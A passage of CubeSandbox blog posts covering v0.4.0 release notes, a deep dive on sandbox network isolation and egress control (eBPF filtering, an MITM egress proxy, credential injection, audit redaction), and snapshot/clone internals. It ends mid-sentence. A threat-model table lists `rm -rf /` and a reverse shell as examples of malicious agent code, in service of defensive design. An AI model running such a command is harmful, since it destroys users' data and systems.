**Transport**: Logs travel over a dedicated vsock connection (physically isolated from the control plane and business network), consumed by the shim on the host side. * **Viewing**: Sandbox logs: `cubecli logs ${sandboxid}`; template logs: `cubecli logs --tpl ${templateid}`. * **Exit sequencing**: The write-end FD is proactively closed on process exit to ensure the read-end receives EOF. This is a seemingly trivial but easily-missed detail — without it, the last few log lines might never arrive. The companion `cubecli cubebox logs` subcommand supports `--tail`/`--head`/`--all`/`--stderr`. ## 4. Node Component Version Matrix: Making "Version Drift" Visible You upgraded CubeMaster but forgot a node's Cubelet; you refreshed the guest-image but two nodes' kernels didn't follow. This inconsistency won't explode immediately, but one day it will surface in a completely unexpected way — a sandbox runs fine on node A but fails on node B, and after investigation you discover a component is two minor versions behind. It took Kubernetes years to reach consensus on this: **version visibility is the zero-th problem of cluster operations.** v0.4.0 builds this infrastructure layer in three steps: ### 4.1 Step One: Unified Build-Time Version Metadata Injection All Go binaries use ldflags, all Rust binaries use build.rs to inject the version / commit / build-time triple at compile time. The one-click deployment script generates `release-manifest.json`. `cubecli version` and `cubemastercli version` produce identical output formats. Sounds simple, but anyone who has worked on polyglot projects knows — **making Go and Rust build chains produce consistent, same-source version information requires deliberate constraint.** Before this, "same component, different versions depending on which tool you ask" was a reality Cube also faced. ### 4.2 Step Two: Automatic Node Reporting, CubeMaster Maintains the Matrix Cubelet automatically collects guest-image, cube-agent, kernel, and control plane component versions on each node and reports them to CubeMaster. CubeMaster maintains the cluster-wide version matrix in the `node_component_version` table (migration 0004), grouping by component and reporting same-version nodes — **version drift is exposed as set differences**, making it immediately obvious which node diverges from the majority. CubeAPI provides both summary and detail endpoints, and the Web UI adds a `Versions.tsx` page for visualization. ### 4.3 Step Three: Template-Component Version "Reconciliation" This goes a step further. Cube introduces the `template_versions` table (migration 0006) to record the component versions each template copy depends on, and provides two endpoints: * `/templates/compat`: Cluster-wide template compatibility view * `/templates/compat/{id}`: Single template detail The Web UI introduces five components — CompatBadge, CompatSection, CompatWarning, CompatNodeCard, and VersionDeltaList — making outdated copies, version differences, and rebuild banners all visual. It also supports "version pinning" to **lock a template to specific component versions**, preventing templates from silently breaking after node upgrades. ## 5. Things Not in the Highlight — But Equally Important ### 5.1 Network Performance: P99 Latency Down 41% The GetTapFile critical sandbox startup path was rewritten with a three-tier strategy: cache hit takes the fast path (0 syscalls), pooled fd already closed takes the warm path (2 syscalls, skipping the expensive restoreTap), and stateless takes the full restore path. The fdserver's JSON response carries ifindex, letting cubelet skip `netlink.LinkByName` — a frequently overlooked but expensive concurrent serialization point. The TOCTOU race between EnsureNetwork/ReleaseNetwork was also replaced with per-sandbox creating guard channels instead of singleflight. BMI5 environment benchmarks: * Network P50: 35.3 → 23.1ms (**-35%**) * Network P99: 86.6 → 51.2ms (**-41%**) * Overall startup P50: 106.1 → 92.0ms (**-13%**) * Throughput: 194.8 → 209.8 sandboxes/s ### 5.2 Template Build: Peak Disk from 4.2x to 1.2x The template image build pipeline underwent a complete rewrite — introducing skopeo + umoci for a **daemonless path**. Cube made disk optimizations in 5 areas: including piping Docker export stdout **through a 1 MiB pipe directly to `tar -xf stdin`**, eliminating the intermediate rootfs.tar; ext4 space estimation using a **triple-overhead precision model** (256 MiB fixed + data 10% + 1 KiB per file), aligned at 256 MiB boundaries, and more. The final result: **peak disk usage dropped from ~4.2x image size to ~1.2x**. File-level SHA256 fingerprinting also enables cross-build deduplication. The SDK's `POST /templates` now supports DNS, egress CIDR, image registry authentication, command/args, network type, and node scope options. Additionally, **at the scheduling level, configurable oversubscription and custom node affinity are now supported. A series of core bugs were also fixed**, such as: disabled internet no longer automatically allows DNS (previously a hidden vulnerability under deny-all policy, affecting security semantic consistency), and DNS server IPs are automatically added to AllowOut (previously required manual configuration — a must-hit for newcomers). ## Coming soon... v0.4.0 fills in the "egress governance" and "observability" pieces, but we'll continue pushing these capabilities forward in the next release: * **ARM physical machine support**: Cube is currently an x86-first runtime, but the reality of AI infrastructure is already dual-architecture — more teams want to "run Agents on ARM." The next Cube release plans to bring the MicroVM kernel, guest-image, and cube-agent to full ARM support. * **Volume SDK**: v0.3.0's snapshot/clone/rollback solved "sandbox state" management, but user data and sandbox lifecycle remain coupled. The upcoming Volume SDK will allow independent creation, cross-sandbox mounting and migration, and independent snapshot/backup. This means Agents can have a cross-session, cross-instance "workspace" rather than just a one-time execution environment. * **Auto-pause and resume (autopause)**: Idle sandboxes holding memory and CPU quotas is a real cost — during the gaps when Agents wait for user input, long-task callbacks, or the next RL rollout round, sandboxes are mostly "running empty." Autopause will let sandboxes fully release host memory and CPU quotas when idle, keeping only disk state, and wake up in milliseconds on access. Combined with v0.3.0's snapshot mechanism, Cube can achieve "pause" at near-zero memory footprint and "resume" at sub-100ms. Cube has moved past the "build a high-performance MicroVM sandbox" stage. Starting from v0.4.0, the question it answers is: **when AI Agents truly run at scale in production, what governance capabilities should the sandbox provide?** If you're building Agent workflows, Agentic RL training platforms, or developer-facing code execution services, come check out the project on GitHub — file issues, send PRs, or just say hi. **GitHub repo:** https://github.com/TencentCloud/CubeSandbox **v0.4.0 full Release Notes:** https://github.com/TencentCloud/CubeSandbox/blob/master/docs/changelog/v0.4.0.md --- --- url: https://cubesandbox.com/blog/posts/2026-06-23-cubesandbox-network-deep-dive.md description: >- AI Agents give machines autonomous execution power — and open a Pandora's box of data exfiltration and credential abuse. CubeSandbox builds an end-to-end network security system — from virtual switching to application-layer auditing — on a foundation of KVM MicroVM isolation, an eBPF in-kernel network datapath, and L7 proxy deep inspection. This article dissects the design and implementation of core components like CubeVS, CubeProxy, and CubeEgress, and shows how Cube balances open execution with security and control. --- # Cube Sandbox: A Deep Dive into Secure Sandbox Networking AI Agents give machines autonomous execution power — and open a Pandora's box of data exfiltration and credential abuse. CubeSandbox builds an end-to-end network security system — from virtual switching to application-layer auditing — on a foundation of KVM MicroVM isolation, an eBPF in-kernel network datapath, and L7 proxy deep inspection. This article dissects the design and implementation of core components like CubeVS, CubeProxy, and CubeEgress, and shows how Cube balances open execution with security and control. ## 1. Business Context and Requirements ### 1.1 The Security Challenges of AI Agents AI Agents are evolving from "conversational assistants" into "autonomous executors" — they can write code, call APIs, operate browsers, and run system commands. This autonomy brings dramatic efficiency gains, but also introduces unprecedented security challenges: | Risk Dimension | Typical Scenario | Potential Impact | |---|---|---| | **Code Execution Risk** | LLM-generated code contains malicious operations (`rm -rf /`, reverse shell) | Host compromised, affects co-tenants | | **Data Exfiltration** | Agent sends user privacy / corporate secrets to unauthorized external APIs | Compliance violations, business loss | | **Credential Abuse** | Agent steals or misuses API Key/Token for unauthorized operations | Resource theft, service disruption | | **Supply Chain Attacks** | Agent `pip install`s a malicious package, executes mining/backdoor code | Lateral movement, persistent intrusion | | **Escape Attacks** | Exploits kernel vulnerability to escape from container to host | Entire cluster compromised | Traditional container solutions (Docker/Containerd) **share the host kernel** — once a kernel vulnerability exists, an attacker can escape directly from the container to the host. For AI Agent scenarios that execute **untrusted code**, the shared-kernel isolation model is no longer safe. ### 1.2 Network Security Requirements The network layer of an AI Agent sandbox must solve the following core problems: 1. **Isolation**: Networks between sandboxes, and between sandboxes and the host, must be fully isolated. 2. **Controllability**: Precisely control which external services (IP/domain/protocol) each sandbox can access. 3. **Observability**: All outbound traffic must be auditable and traceable. 4. **Transparency**: Zero intrusion into Agent code — no application logic changes required. 5. **High Performance**: Network policies must not become a bottleneck for thousand-level concurrency. ## 2. CubeSandbox Architecture Overview ### 2.1 System Architecture CubeSandbox adopts a **clear layered architecture**, from top to bottom: API gateway layer, orchestration & scheduling layer, compute node layer, and virtualization layer: ![CubeSandbox system architecture](./assets/2026-06-23-cubesandbox-network-deep-dive/01-system-architecture.jpg) ### 2.2 Network Architecture The network data plane includes both sandbox-ingress and sandbox-egress traffic. L4 forwarding and policy enforcement are handled by high-performance in-kernel eBPF, while L7 routing and deep inspection are handled by user-space nginx/openresty: * **Sandbox Ingress Traffic** 1. CubeProxy: An nginx/openresty-based reverse proxy that performs high-performance routing via HTTP headers. 2. CubeVS (Ingress): Pure in-kernel eBPF high-performance forwarding, implementing stateless portmapping conversion. * **Sandbox Egress Traffic** 1. CubeVS (Egress): Pure in-kernel eBPF high-performance forwarding, implementing IP filtering, domain filtering, SNAT, session tracking, and other sandbox outbound capabilities. 2. CubeEgress: An nginx/openresty-based L7 proxy implementing HTTPS interception, credential injection, access auditing, and other security capabilities, extensible via Lua. ![CubeSandbox network architecture](./assets/2026-06-23-cubesandbox-network-deep-dive/02-network-architecture.jpg) ### 2.3 Host Network Management network-agent implements TAP pool management and allocation, PortMapping port allocation, forwarding policy data distribution, and state persistence. * **TAP device pooling**: Pre-creates 500+ TAP devices so that sandbox startup requires no TAP initialization, reducing sandbox creation time by 59+ms. * **CubeVS and CubeEgress forwarding policy data distribution**, processing network traffic according to user-defined policies. ![CubeSandbox host network management](./assets/2026-06-23-cubesandbox-network-deep-dive/03-host-network-management.jpg) ## 3. Sandbox Network Virtualization: CubeVS ### 3.1 Design Goals Traditional container networking solutions (Linux Bridge, OVS, iptables NAT) have per-packet processing overhead that grows with the number of tenants. CubeVS replaces the entire traditional network stack with three small eBPF programs, implementing ARP proxy, policy enforcement, L7 proxy selection, SNAT, session creation, reverse NAT, port mapping proxy, DNAT to sandbox IP, and transparent proxy source IP preservation. * **Point-to-point low latency**: Each sandbox has a dedicated TAP device — no shared bridges, no software switch hops, no shared L2 domain, no ARP flooding or STP needed. * **In-kernel policy enforcement**: Network policies execute in eBPF with minimal CPU overhead and high performance. Each TAP has its own policy trie, so updates don't affect each other. * **Scalable NAT**: SNAT port allocation uses a lock-protected watermark pool + conflict-detection insertion, avoiding iptables rule explosion. * **Security isolation**: TAPs are naturally unreachable from each other — communication is only possible through paths controlled by eBPF programs. ![CubeVS design](./assets/2026-06-23-cubesandbox-network-deep-dive/04-cubevs-design.jpg) ### 3.2 Network Access Control: CIDR Policy IP Filtering via LPM Trie CubeVS implements per-sandbox outbound IP policies in the eBPF kernel layer, using the **LPM (Longest Prefix Match) Trie** data structure for CIDR matching. The **per-device design** means updating one sandbox's policy doesn't require traversing or locking other sandboxes' maps. **Evaluation order:** Priority: **allow > deny > default-allow**. You can set a full deny (`0.0.0.0/0`) and then selectively open up with allow rules for fine-grained control. **Default policy** CubeVS allows sandboxes to access the internet by default, but blocks access to the following ranges to ensure sandboxes cannot reach the host's internal network. These can be opened via `allow_out`, or you can set `allow_internet_access=False` to block internet access entirely — equivalent to adding a full deny (`0.0.0.0/0`) to `deny_out`. | CIDR | Description | |---|---| | `10.0.0.0/8` | Private network Class A | | `127.0.0.0/8` | Loopback address | | `169.254.0.0/16` | Link-local (sandbox internal gateway segment) | | `172.16.0.0/12` | Private network Class B | | `192.168.0.0/16` | Private network Class C | ### 3.3 Network Access Control: DNS-Based Domain Policy Filtering via LPM Trie IP-layer policies can only match on destination IP via CIDR. However, AI Agent sandbox network access typically targets domains (e.g., `api.openai.com`), and a single domain may resolve to multiple different IPs. CubeVS implements domain-level fine-grained control through its **DNS policy engine**: CubeVS intercepts DNS queries (UDP port 53) at the eBPF layer, extracts the queried domain, and if it's allowlisted in `allow_out`, creates a domain tracking record. When CubeVS receives the DNS response matching that record, it adds the response's IP addresses to `allow_out` to permit subsequent traffic to that domain, and sets a TTL to ensure stale IPs are removed from `allow_out`. * Domains can only be allowlisted in `allow_out`, not configured in `deny_out`. * To allow only specific domain traffic, it's recommended to configure a full deny policy (`0.0.0.0/0`) in `deny_out`. * When domains are configured in `allow_out`, Cube automatically adds the template's configured DNS server IP to `allow_out`. * Limitation: This capability depends on the sandbox obtaining domain IPs via DNS queries over UDP port 53 — not via other methods like configuring hosts. #### Coordination with L7 Policies DNS domain filtering policies provide domain-level control at the eBPF kernel layer. CubeEgress provides more fine-grained control at L7, including precise control over http/https, SNI, host, path, and method. When `rules` policies are configured in the sandbox network config, Cube automatically allowlists the host and SNI domains in `allow_out` and marks traffic to those domains for delivery to CubeEgress for L7 processing — such as credential hosting, access auditing, or L7-level denial. * **eBPF DNS policy**: Quickly rejects known malicious domains, reducing traffic reaching the L7 proxy. * **CubeEgress L7 policy**: Fine-grained domain wildcard (`*.example.com`), path prefix (`/v1/*`), HTTP method, and other conditional matching. ## 4. Sandbox Ingress Gateway: CubeProxy CubeProxy is the sandbox's **ingress traffic gateway**, responsible for routing external requests to the correct sandbox instance. Built on OpenResty (Nginx + Lua), it uses Host-header routing, supports wildcard DNS (`*.sandbox.cube.app`), supports TLS SNI, and is easy to configure DNS for. **Format**: `{port}-{sandbox_id}.{domain}` CubeProxy queries Redis for the sandbox's portmapping information on the host — i.e., it looks up `(HostIP, mapping-port)` by `(container_port, sandbox_id)` and forwards the request to the corresponding host machine. ## 5. Application-Layer Security Enhancement: CubeEgress ### 5.1 Design Positioning CubeEgress is the sandbox's **egress security gateway**, performing deep inspection of HTTP/HTTPS traffic at L7. It is the **user-space enhancement layer** over CubeVS's in-kernel policies, solving needs that the kernel layer cannot handle: domain matching, credential injection, content auditing, etc. Core capability matrix: | Capability | Description | |---|---| | HTTPS transparent interception | MITM dynamic certificate + TLS termination | | Domain/path/method matching | L7 policy engine, first-match-wins | | Credential injection | Proxy-layer auto-injection, Agent never touches credentials | | Data desensitization | Sensitive field replacement in audit logs | | Access auditing | JSONL structured logs | | Request filtering | Allow or deny requests | Limitation: This capability depends on the sandbox obtaining domain IPs via DNS queries over UDP port 53 — not via other methods like configuring hosts. ### 5.2 On-Demand Traffic Steering: eBPF-to-L7-Proxy Traffic Dispatch Not all traffic requires L7 inspection. Only http/https traffic to domains with rules configured in the `rules` policy is **on-demand steered** by CubeVS to the CubeDev device, entering the kernel stack. Combined with iptables TProxy mechanism and the user-space socket `IP_TRANSPARENT` option (currently unsupported by stock nginx/openresty — Cube provides a patch and a pre-patched openresty container image), packets are transparently forwarded to OpenResty's user-space socket for reception, preserving the sandbox's original destination IP. ![CubeEgress on-demand traffic steering](./assets/2026-06-23-cubesandbox-network-deep-dive/05-cubeegress-traffic.jpg) ### 5.3 HTTPS Transparent Interception: Dynamic Certificate Generation CubeEgress implements deep inspection of HTTPS traffic through a MITM (Man-in-the-Middle) proxy. The core mechanism is **dynamic certificate generation**: #### Certificate Architecture * **ECDSA P-256**: Leaf certificates use elliptic curves — faster and smaller than RSA. * **7-day TTL**: Short validity period reduces leak impact. * **Cache lock**: lua-resty-lock prevents concurrent generation for the same SNI. * **CA trust injection**: The Root CA certificate is injected into the sandbox by default during template creation — transparent to the Agent. ### 5.4 L7 Policy Engine A sandbox's CubeEgress policy can contain multiple rules, each with a match and an action. Rules are matched in order — the first matching rule takes effect and subsequent rules are skipped. Requests that don't match any rule are denied by default. * match semantics: | Field | Format | Semantics | |---|---|---| | sni | `*.example.com` | Exact match or suffix `*.` wildcard (subdomains only) | | host | `api.example.com` | Exact match or suffix `*.` wildcard (ignores `:port`) | | method | `{"GET", "POST"}` | Array — any match passes | | path | `/v1/*` | Exact match or trailing `*` prefix match | | scheme | `http` / `https` | Exact match | * action execution semantics: allow / deny / audit / inject ### 5.5 Credential Hosting and Injection AI Agent sandboxes **should not directly hold API Keys/Tokens**. CubeEgress's credential injection mechanism lets the sandbox send requests without credentials — the CubeEgress proxy layer outside the sandbox automatically injects them: Credential injection is protected by multiple checks — if any fails, **injection is abandoned** (the request may still proceed, but without credentials): | Check | |---| | Request must be HTTPS | | SNI matches the rule | | Host header must match SNI | | Upstream certificate verification passes | | Policy authorizes the request | ### 5.6 Access Auditing Every network request (whether allowed or denied) generates a structured audit record in JSONL (JSON Lines) format. Sensitive fields in audit logs **never record raw values** — they are protected through multi-layer desensitization: | Header Type | Desensitization Strategy | Example | |---|---|---| | Authorization / Proxy-Authorization | Keep auth scheme, redact value | `Bearer ` | | Cookie / Set-Cookie | Keep cookie name, redact value | `` | | X-Api-Key | Full redaction | `` | | X-Auth-Token / Token | Full redaction | `` | | Headers containing token/secret/key/password/auth | Full redaction | `` | ### 5.7 CubeEgress Extensibility CubeEgress is an http/https transparent proxy built on OpenResty. It currently implements basic request filtering, credential hosting, and access auditing. If you need deeper detection or other capabilities, you can easily extend it by modifying or adding Lua scripts. See the community repo docs for details: ## 6. Summary CubeSandbox's network system achieves high-performance forwarding through the **"eBPF in-kernel + OpenResty user-space"** combination. Through localized resource allocation, normalized sandbox configuration, and resource pooling, it achieves extreme sandbox creation speed. In the emerging AI Agent security sandbox scenario, it delivers multiple technical innovations: | Innovation | Traditional Approach | CubeSandbox Approach | Advantage | |---|---|---|---| | **Network isolation** | Linux Bridge + iptables | Point-to-point TAP + eBPF | Zero broadcast overhead, in-kernel enforcement | | **Policy enforcement** | iptables rule chains | LPM Trie + eBPF | O(1) lookup, per-sandbox isolation | | **Domain filtering** | Application-layer proxy | In-kernel eBPF | High-performance forwarding | | **HTTPS inspection** | Manual certificate config | Dynamic cert generation (ECDSA P-256) | Zero pre-config, automatic management | | **Credential management** | Env vars / config files | Proxy-layer injection + multi-check | Agent sandbox never touches credentials | | **Audit logs** | Text format, needs parsing | JSONL structured + auto-redaction | Compliance-friendly, directly analyzable | Check out the CubeSandbox project: --- --- url: >- https://cubesandbox.com/blog/posts/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive.md description: >- How does Cube Sandbox achieve sub-second snapshots of tens-of-GiB filesystems, memory checkpoints that write only a fraction of total guest RAM, and cloning that creates N independent copies with near-zero disk growth? This article dissects the three interlocking kernel mechanisms — XFS reflink, /proc/pagemap anonymous page detection, and soft-dirty bit — that power Cube v0.3.0's snapshot, clone, and rollback capabilities. --- # Instant Snapshots, Zero-Copy Clones: A Deep Dive into Cube's Snapshot, Clone, and Rollback Mechanisms If you've run Cube Sandbox v0.3.0 on an ordinary Linux server, you may have noticed a few counterintuitive phenomena: disk snapshots that finish in a "split second" — issuing a snapshot command against a sandbox with tens of GiB of filesystem data returns almost instantly, without writing gigabytes to disk. Memory snapshots that write only a "fraction" of pages — for a sandbox running large-model inference and occupying tens of GiB of guest RAM, the data written during frequent checkpoints is significantly smaller than the guest's actual memory footprint. Snapshots no longer mean dumping the entire RAM to disk. "Zero-copy" cloning — forking 10 independent copies from a running sandbox in a single operation adds almost no disk usage, yet each copy can read and write in its own memory and filesystem without interfering with the others. These "seemingly magical" phenomena are really underpinned by three interlocking low-level mechanisms. This article takes each of these three puzzles as a starting point and peels back the layers to reveal the core principles behind the snapshot, clone, and rollback capabilities in v0.3.0. ## Introduction: Three Surprising Phenomena If you've run Cube Sandbox v0.3.0 on an ordinary Linux server, you may have noticed a few counterintuitive phenomena: * **"Split-second" disk snapshots**: Issuing a snapshot command against a sandbox with tens of GiB of filesystem data returns almost instantly, without writing gigabytes to disk. * **Memory snapshots that write only a "fraction" of pages**: For a sandbox running large-model inference and occupying tens of GiB of guest RAM, the data written during frequent checkpoints is significantly smaller than the guest's actual memory footprint. Snapshots no longer mean dumping the entire RAM to disk. * **"Zero-copy" cloning**: Forking 10 independent copies from a running sandbox in a single operation adds almost no disk usage, yet each copy can read and write in its own memory and filesystem without interfering with the others. These "seemingly magical" phenomena are really underpinned by three interlocking low-level mechanisms. This article peels back the layers to reveal the core principles behind v0.3.0's snapshot, clone, and rollback capabilities. ## 1. The Entry Point: Three Puzzles and a Five-Layer Architecture The complexity of the entire snapshot/clone/rollback system stems from one fact — **VM State = Disk + Memory**, and the two must be captured, restored, and replicated consistently. Cube Sandbox decomposes this into two independent yet cooperative subsystems: * **Disk Subsystem**: A file-level CoW engine built on XFS reflink. * **Memory Subsystem**: Building on the traditional hypervisor snapshot framework with the addition of pagemap\_anon and soft-dirty true-incrementals. These subsystems span five layers of calls: ![Five-layer call architecture](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/01_architecture.png) After reading the next three chapters, the three puzzles from the introduction will resolve into three clear kernel mechanisms: | Puzzle | Core Mechanism | | --- | --- | | "Split-second" disk snapshots | XFS Reflink + FICLONE ioctl | | "Fractional" memory writes | /proc/self/pagemap + soft-dirty bit55 | | "Zero-copy" cloning | Decomposing clone(n) into snapshot + n × create-from-snapshot | ## 2. Puzzle 1: Why Are Disk Snapshots "Split-Second"? ### 2.1 The Phenomenon When taking a snapshot of a running sandbox, the essence of everything that happens on disk is: **a single ioctl**. The core ioctl: **FICLONE**, which creates a copy-on-write clone of the source file at the destination file. Its characteristics: | Dimension | CubeCow Reflink | | --- | --- | | Operating Layer | Filesystem layer | | Time Complexity | O(1) (a single ioctl) | | Persistence | The filesystem itself is the source of truth; no separate ledger | | Crash Recovery | Each operation is a single fs transaction, naturally crash-safe | | Kernel Dependency | FICLONE ioctl, XFS -m reflink=1 | **At the kernel level, only extent metadata is shared; data blocks are split only on write** — that is the truth behind "split-second" snapshots. ### 2.2 Under the Hood: What XFS Reflink Actually Does #### ① The Three-Layer Structure: inode / Extent Map (BMBT) / Physical Blocks To understand reflink, you first need to see how XFS maps "logical file offsets" to "physical disk blocks": ![inode / BMBT / physical blocks three-layer structure](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/02_xfs_extent_structure.jpg) * **BMBT (Block Mapping B-Tree)** is an inode-embedded B+ tree in XFS that stores the mapping table from logical offsets to physical blocks (i.e., the Extent Map). * Each Extent record has the format: `(logical_offset, physical_block, length, shared_flag)`. * When `shared_flag` is set, it means the physical block is referenced by multiple file inodes; any write must trigger CoW unshare. #### ② FICLONE ioctl Execution Path (O(1) Metadata Operation) FICLONE completes in milliseconds because it **only touches metadata**: ![FICLONE ioctl execution path](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/03_ficlone_path.png) **Refcount B-Tree** (xfs\_rmap\_btree): XFS maintains a global B-Tree that records the reference count of every physical block. After FICLONE, shared blocks have refcount ≥ 2; when refcount drops to 1, the block returns to exclusive status and can be written directly without CoW. #### ③ CoW Unshare Path on Write So what happens when you write to a shared extent? The answer is **split-on-write**: ![CoW Unshare path on write](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/04_cow_unshare_path.png) The write only affects the **source volume's** Extent Map; the **snapshot's** BMBT and physical blocks remain entirely unchanged, achieving snapshot isolation. ### 2.3 What CubeCow Builds on Top of Reflink Bare reflink only solves "how to go fast", not "how to manage state". CubeCow adds three engineering designs at the engine layer: #### ① Snapshot Chain Flattening (Avoiding Snap-of-Snap Chain Tracking) Standard reflink supports "snapshots of snapshots", but CubeCow uniformly records the `origin_volume` of every snapshot as the **ultimate ancestor volume**, and physically places all snapshot files under the ancestor volume's directory. ![Snapshot chain flattening: all snapshots are siblings under the ancestor volume directory](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/05_snapshot_chain_flattening.png) **Benefits of flattening**: * From the filesystem's perspective, all snapshots are **sibling independent files** alongside the primary volume — each has its own independent block mapping, with no parent-child subordination. The "lineage" is purely a piece of logical information in CubeCow's in-memory index. Deleting any intermediate snapshot degenerates into unlinking an ordinary file: one directory entry is removed, the XFS Refcount B-Tree automatically decrements the refcount of the formerly shared physical blocks, and all other snapshots remain completely unaffected. * The directory structure maps one-to-one with `origin_volume`, requiring no recursive lookups. * After the primary volume file is deleted, the directory is preserved because snapshot files still exist within it; when the last snapshot is removed, the directory is automatically reclaimed. #### ② Filesystem as Source of Truth (No On-Disk Ledger) **All metadata can be reconstructed from the directory structure**: * Volume list = `readdir(volumes/)` * Snapshot list = `readdir(volumes//)` minus the primary file * Size = `stat`, timestamp = `mtime` At engine startup, `scan_and_rebuild_index()` scans the disk and rebuilds the index, handling crash residuals according to these rules: | Disk State | Handling | | --- | --- | | `/` primary file exists | Register as Volume | | Directory exists but primary file missing and no children | Delete empty directory (orphan) | | Directory exists but primary file missing and children exist | Warn, recover child snapshots but do not register volume | | Zero-byte snapshot file | Delete (FICLONE incomplete at crash time) | | Name collision | Warn and skip | #### ③ In-Memory Namespace Flattening The ReflinkEngine maintains a `RwLock>` as a global namespace; volume names and snapshot names share the same global namespace, with atomic pre-allocation under the write lock to prevent concurrent naming conflicts. This means any new volume or snapshot creation never requires a recursive "check lineage then confirm no duplicate name" process — a single lookup inside the lock suffices. ### 2.4 Summary ![The full secret of split-second snapshots: grab the name + one FICLONE + commit the directory entry](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/06_snapshot_summary.png) A single snapshot involves only three non-skippable actions at the engine layer: **grab the name → one FICLONE → commit the directory entry**. All three are O(1) operations and none involve data block copies — that is the entire secret of "split-second" snapshots. ## 3. Puzzle 2: How Do Memory Snapshots Write Only a "Fraction" of Pages? ### 3.1 The Phenomenon and Challenge VM memory routinely reaches tens of GiB. If every snapshot wrote the entire guest RAM to disk, the IO amplification would render "frequent checkpointing" completely unusable. v0.3.0's memory snapshots introduce **two optimization paths** that, combined with disk reflink, minimize the steady-state memory write volume. For performance data, see: [CubeSandbox v0.3.0: A Time Machine and a Cloning Booth for Your AI Agents](https://github.com/TencentCloud/CubeSandbox). ### 3.2 Three Memory Snapshot Modes ![Three memory snapshot modes](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/07_memory_snapshot_modes.png) Cube Sandbox defines three memory snapshot modes, corresponding to three strategies for "which pages should I write to the image": | Mode | What Gets Written | Use Case | | --- | --- | --- | | Full | Complete guest memory image, all pages | First snapshot, strong-consistency archival | | Incremental | Only CoW anonymous pages (pages the guest has truly "allocated with content") | Most steady-state snapshots | | SoftDirty | True incremental: only anonymous pages written since the last reset | High-frequency checkpointing; kernel requires CONFIG\_MEM\_SOFT\_DIRTY | ### 3.3 Under the Hood: Incremental — How "Anonymous Pages" Exactly Equal "Pages Written Since Boot" #### Key Premise: v0.3.0 Sandboxes Are "Boot-from-Snapshot" To grasp the elegance of Incremental, you must first recognize a premise: in Cube Sandbox, **almost every VM is restored from a memory snapshot** — first-time sandbox creation boots from a template memory image; cloned copies boot from a temporary snapshot; rolled-back VMs boot from the target snapshot. The "cold boot to a completely zeroed state" scenario practically does not exist on the production path. When restoring, the VMM does **not** `read()` the entire memory image into an anonymous mmap — that would be both slow and wasteful. Instead it uses `mmap(MAP_PRIVATE, fd=memory_image)` to map the memory image file directly into the virtual address space corresponding to the guest RAM. This step only establishes the VMA, reading no data at all. As the guest runs and actually accesses a page, the kernel lazily populates that page from the page cache. #### MAP\_PRIVATE's Binary Semantics: File Pages vs. Anonymous Pages ![MAP\_PRIVATE binary semantics](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/08_map_private_semantics.png) The core semantic of MAP\_PRIVATE is **copy-on-write of a file**: | Guest behavior toward the page | Kernel-side page type | Physical footprint | | --- | --- | --- | | Never accessed | No PTE present, demand-fault on access | 0 | | Read-only access only | File page (shared page cache, PTE read-only pointing to page cache frame) | Shared with other snapshot instances within the same process | | Written at least once | Anonymous page (process-private page from CoW unshare) | Exclusively owned by this VM process | Note the second row: pages that the guest has only read **remain file pages** — they physically stay in the memory image file's page cache, shared with other VMs booted from the same image, and do not count toward this process's anonymous page statistics. Only when the guest first writes to a page does the kernel trigger CoW, "splitting" that page from a file page into a process-exclusive anonymous page. This yields a **free equivalence relation**: > **This VM process's anonymous page set ≡ the set of pages genuinely written since this VM booted from its snapshot** This equivalence requires no additional tracking and has zero runtime overhead — it is a natural byproduct of MAP\_PRIVATE semantics. The Linux kernel has been maintaining it for us in every write-fault all along. #### How Incremental Reads This Set Using the equivalence above, "which pages need to go into the snapshot" reduces to "which pages are anonymous". Linux exposes the status of every virtual page via `/proc//pagemap` at 8 bytes per page, with these key bits: | Bit | Meaning | | --- | --- | | bit 63 | Whether this VPN maps a physical page frame (present) | | bit 62 | Whether swapped out | | bit 61 | Whether anonymous (i.e., a private page that has been CoW-split) | | bit 0–54 | Physical frame number PFN (when present) | Incremental's filter condition is exactly **present ∧ anonymous** — directly corresponding to "pages genuinely written since boot". Each page requires only 8 bytes of metadata for the decision, **without needing to read the page contents**. ![Incremental detection flow](./assets/2026-06-25-cubesandbox-snapshot-clone-rollback-deep-dive/09_incremental_detection.png) #### How Completeness Is Guaranteed The snapshot file written by Incremental **preserves the full guest physical address layout** — offsets that were not written **inherit the contents of the previous snapshot**. This requires: * **The destination file already exists** and its content is a reflink-clone of the previous snapshot — offsets not overwritten by this write automatically equal the corresponding positions in the previous snapshot. * The file-page portion (pages the guest only read, or never accessed) is byte-for-byte identical to the previous snapshot in the new snapshot file, because they are literally the same memory image content. This is the "disk subsystem in turn supports the memory subsystem" point from 3.1 — without the "cheap baseline file" provided by reflink-clone, Incremental could not produce a "complete image" by writing only a subset. #### What Incremental Solves, and What's Still Missing Incremental achieves a one-shot optimization with zero runtime overhead: **converging "all of guest RAM" down to "pages written since boot"**. For short-lived sandboxes (typical scenarios: one-shot task execution, short-lived clones) this is sufficient. But for **long-running** sandboxes, this set is monotonically growing — the longer the guest runs, the more pages have been written, and "pages written since boot" gradually approaches "all allocated pages". This is the problem SoftDirty is designed to solve. ### 3.4 Under the Hood: SoftDirty — Capturing "Pages That Were Actually Written" with bit55 #### Motivation: Why Incremental Falls Short Consider a long-running sandbox (say, a VM running an inference service) that is periodically checkpointed throughout its lifecycle: | Moment | Cumulative pages written since boot | Incremental snapshot write volume | | --- | --- | --- | | t₁ (right after boot) | 200 MiB | 200 MiB | | t₂ (1 min after t₁) | 1 GiB | 1 GiB | | t₃ (10 min after t₂) | 5 GiB | 5 GiB | | t₄ (1 hour after t₃) | 15 GiB | 15 GiB | Although only tens of MiB may have genuinely changed between two consecutive snapshots, Incremental **re-writes all pages written since boot every time**. The anonymous page set monotonically increases, and the checkpoint data volume grows linearly with uptime, eventually approaching Full mode. To make "frequent checkpointing" viable for long-running sandboxes, we must be able to identify "pages written only since the last snapshot". That is the gap SoftDirty fills. #### Kernel Semantics of the soft-dirty Bit Linux reserves a soft-dirty bit in every PTE (exposed to 